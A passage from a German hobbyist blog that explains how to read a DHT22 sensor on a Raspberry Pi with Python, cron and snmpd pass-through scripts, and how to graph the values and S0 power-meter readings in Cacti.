  • Drei Kabel

Die Verkabelung ist simpel: VCC an 3,3 V (Pin 1), Data an GPIO 4 (Pin 7), GND an GND (Pin 6). Der 4,7 kΩ Widerstand kommt zwischen VCC und Data. Den handgezeichneten Schaltplan habe ich unten in der Bildergalerie.

Sensor auslesen — Python

Auf einem aktuellen Raspberry Pi OS brauchen wir die Adafruit CircuitPython DHT Bibliothek und libgpiod:

sudo apt install python3-pip libgpiod2
pip3 install adafruit-circuitpython-dht

Dann ein kleines Script /usr/local/bin/read_dht22.py:

#!/usr/bin/env python3
import adafruit_dht
import board
import sys

sensor = adafruit_dht.DHT22(board.D4)
try:
    print(f"{sensor.humidity:.1f}")
    print(f"{sensor.temperature:.1f}")
except RuntimeError:
    sys.exit(1)
finally:
    sensor.exit()

Ausführbar machen und testen:

chmod +x /usr/local/bin/read_dht22.py
/usr/local/bin/read_dht22.py
73.9
9.3

Erste Zeile Luftfeuchtigkeit, zweite Zeile Temperatur. Der DHT22 liefert nicht bei jedem Aufruf saubere Daten — manchmal kommt ein RuntimeError. Das ist normal bei diesem Sensor, deswegen der try/except und der Exit-Code. board.D4 entspricht GPIO 4, also Pin 7 auf dem Board.

Werte per Cron einsammeln

Per Cron-Job jede Minute:

* * * * * /var/scripts/getsensor.sh

Das Script /var/scripts/getsensor.sh:

#!/bin/bash
/usr/local/bin/read_dht22.py > /home/pi/both.txt 2>/dev/null

while [ ! -s "/home/pi/both.txt" ]; do
    sleep 5
    /usr/local/bin/read_dht22.py > /home/pi/both.txt 2>/dev/null
done

sed '2d' /home/pi/both.txt > /home/pi/humid.txt
sed '1d' /home/pi/both.txt > /home/pi/temp.txt

Wenn der Sensor beim ersten Versuch keine Daten liefert, probiert das Script alle fünf Sekunden erneut. Am Ende liegen Luftfeuchtigkeit und Temperatur in separaten Textdateien unter /home/pi/.

Ab in den Cacti — SNMP

Damit Cacti die Werte abfragen kann, brauchen wir SNMP auf dem Pi:

sudo apt install snmpd snmp

In der /etc/snmp/snmpd.conf zwei Pass-through OIDs anlegen. Wird eine dieser OIDs per SNMP abgefragt, führt der snmpd das zugehörige Script aus und liefert dessen Ausgabe als Antwort:

pass .1.3.6.1.2.1.25.1.8.1  /bin/sh  /usr/local/bin/humid
pass .1.3.6.1.2.1.25.1.8.2  /bin/sh  /usr/local/bin/temp

Die beiden Scripts müssen drei Zeilen ausgeben — die OID, den Datentyp und den Wert:

/usr/local/bin/temp:

#!/bin/bash
echo .1.3.6.1.2.1.25.1.8.2
echo gauge
cat /home/pi/temp.txt

/usr/local/bin/humid:

#!/bin/bash
echo .1.3.6.1.2.1.25.1.8.1
echo gauge
cat /home/pi/humid.txt

Test:

snmpget -v2c -c public localhost .1.3.6.1.2.1.25.1.8.1
iso.3.6.1.2.1.25.1.8.1 = Gauge32: 76

snmpget -v2c -c public localhost .1.3.6.1.2.1.25.1.8.2
iso.3.6.1.2.1.25.1.8.2 = Gauge32: 9

Damit lässt sich im Cacti ein Graph anlegen. Etwas von hinten durch die Brust ins Auge — aber es funktioniert seit über elf Jahren zuverlässig. Die Template-Exports für Cacti gibt es hier: cacti-temp.tar.gz


Hinweise

SNMP-Sicherheit — Im Beispiel steht public als Community-String und SNMPv2c. Für ein Heimnetz reicht das. In einem produktiven Umfeld sollte man SNMPv3 mit Authentifizierung verwenden und den Zugriff per Firewall auf den Cacti-Server beschränken.

Alternative zu Cacti — Wer kein Cacti hat: Grafana mit InfluxDB oder Prometheus wäre die modernere Alternative. Der SNMP-Weg funktioniert dort genauso, alternativ kann man die Werte auch direkt per Telegraf oder einen kleinen Python-Exporter einliefern.

Warum kein wiringPi mehr? — Gordon Henderson hat das wiringPi-Repository 2019 offline genommen. Es gibt Forks auf GitHub, die auf neueren Pi-Modellen funktionieren, aber offiziell wird die Bibliothek nicht mehr gepflegt. Für neue Projekte ist Python mit der Adafruit-Bibliothek der bessere Weg — weniger Kompilieraufwand, bessere Fehlerbehandlung und aktive Wartung.


Der Sensor da draußen

Der Sensor muss nach draußen, vor Wasser geschützt sein, aber nicht hermetisch versiegelt — sonst kann er keine Luftfeuchtigkeit messen.

Meine Lösung: Ein PVC-Rohr, den Sensor dort mit etwas Silikon eingeklebt, eine Seite mit Deckel verschlossen. So kann kein Wasser an den Sensor laufen, Luft kommt aber noch ran. Angebracht am Pfosten der Satellitenschüssel — dort oben steht die Luft selten, es kommt niemand ran und es fällt nicht auf.

Das Ding hängt dort seit 2014. Funktioniert.


Siehe auch: Raspberry Pi als Konsolenserver

Fragen? Einfach melden.

Stromverbrauch messen mit Raspberry Pi, Eltako DSZ12E und Cacti

Im Keller hing ein alter Ferraris-Zähler mit Drehscheibe. Zählt brav für den Energieversorger, liefert aber keine Daten. Ich wollte den Stromverbrauch im Haus grafisch auswerten, am besten mit Cacti. Dafür braucht man einen Zähler mit S0-Schnittstelle.

Der Zähler

Mein Energieversorger wollte für einen digitalen Zähler Fantasiepreise. Also selbst kaufen. Die Wahl fiel auf den Eltako DSZ12E-3x80A, einen Drehstromzähler mit S0-Ausgang. 3 × 80 A reicht für den normalen Hausgebrauch locker. Kostenpunkt damals rund 75 Euro.

Wichtig: Dieser Zähler ersetzt nicht den offiziellen Zähler des Versorgers. Er wird dahinter eingebaut. Das darf nicht jeder machen. Wer nicht weiß ob er es darf, darf es nicht. Ein Elektriker braucht dafür eine halbe bis eine Stunde, mit Anfahrt kommt man auf 100 bis 150 Euro.

S0-Schnittstelle und Raspberry Pi

Die S0-Schnittstelle ist ein potentialfreier Impulskontakt. Pro verbrauchter Kilowattstunde gibt der Zähler eine bestimmte Anzahl Impulse aus, beim DSZ12E sind es 2000 Impulse pro kWh. Der Raspberry Pi zählt diese Impulse über einen GPIO-Pin.

Die Verkabelung ist simpel: S0-Ausgang des Zählers an einen GPIO-Pin und GND des Raspberry Pi. Ein Pullup-Widerstand sorgt dafür, dass der Pin sauber zwischen High und Low wechselt. Bei jedem Impuls wird ein Zähler hochgezählt und der aktuelle Verbrauch berechnet.

Die Auswertung habe ich nach dieser Anleitung aufgebaut: Stromzähler mit S0-Schnittstelle vom Raspberry Pi auswerten (Johannes Weber). Ein Python-Script zählt die Impulse und stellt die Werte per SNMP bereit.

Cacti-Graphen

Cacti fragt den Raspberry Pi per SNMP ab und zeichnet die Graphen. Neben dem aktuellen Verbrauch in Watt lassen sich mit zusätzlichen SNMP-Abfragen auch Tagesverbrauch, Wochenverbrauch und Monatsverbrauch darstellen. Die Berechnung macht das Script auf dem Pi, Cacti muss nur die fertigen Werte abgreifen und zeichnen.

Das Ergebnis: Auf einen Blick sieht man wann die Waschmaschine lief, wann der Herd an war und wie hoch die Grundlast nachts ist. Verbrauchsspitzen fallen sofort auf.

Fragen zum Aufbau? Einfach melden.

« Ältere Beiträge

© 2026 -=Kernel-Error=-RSS

Theme von Anders NorénHoch ↑